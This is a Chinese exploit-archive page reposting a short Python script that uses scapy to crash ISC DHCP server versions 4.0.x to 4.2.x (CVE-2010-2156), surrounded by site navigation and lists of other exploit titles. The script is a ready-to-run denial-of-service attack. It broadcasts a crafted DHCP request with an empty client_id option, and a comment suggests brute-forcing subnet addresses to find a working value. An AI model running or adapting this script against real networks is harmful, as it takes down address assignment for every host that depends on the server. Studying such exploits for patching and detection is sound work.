首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ISC-DHCPD Denial of Service
来源:vfocus.net 作者:sid 发布时间:2010-07-05  

#! /usr/bin/env python
# Exploit title: isc-dhcpd DoS
# Date: 03/07/2010 
# Author: sid
# Software Link: https://www.isc.org/software/dhcp
# Version:  4.0.x, 4.1.x, 4.2.x
# CVE: cve-2010-2156
# ps: is possible make a bruteforce on subnet ip address to find a correct value.
#


import sys
import string

if len(sys.argv) is 1:
 print("Usage: " + sys.argv[0] + "-ip=<legal ip in subnet>")
 print("Example: " + sys.argv[0] + " -ip=192.168.1.100")
 sys.exit(0)

for i in range(len(sys.argv)):
 if string.find(sys.argv[i],"-ip") is 0:
  globals()['ip'] = sys.argv[i].split('=')[1]

from scapy.all import *

globals()['verbose'] = 2

def msg(string, level):
    if globals()['verbose'] >= level:
        print(string)

msg("attack...",2)
p=(Ether(src="aa:aa:aa:aa:aa:aa",dst="ff:ff:ff:ff:ff:ff")/IP(dst="255.255.255.255")/UDP(sport=68,dport=67)/
BOOTP(ciaddr=globals()['ip'],chaddr="\xaa\xaa\xaa\xaa\xaa\xaa")/
DHCP(options=[("message-type","request"),("client_id",""),("end")]))

if p:
 p.show()
sendp(p)

#EOF


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mp3 Digitalbox 2.7.2.0 (.mp3)
·Linux/ARM - Polymorphic execve
·HP OpenView NNM getnnmdata.exe
·ASX to MP3 Converter v3.1.2.1
·HP OpenView NNM getnnmdata.exe
·Sun Java Web Sever 7.0 u7 Remo
·HP OpenView NNM getnnmdata.exe
·SasCam WebCam Server v2.6.5 Ac
·Registry OCX v1.5 ActiveX Buff
·Mediacoder v0.7.3.4682 Univers
·OpenSSH attack detection DoS P
·Mini-Stream RM-MP3 Converter v
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved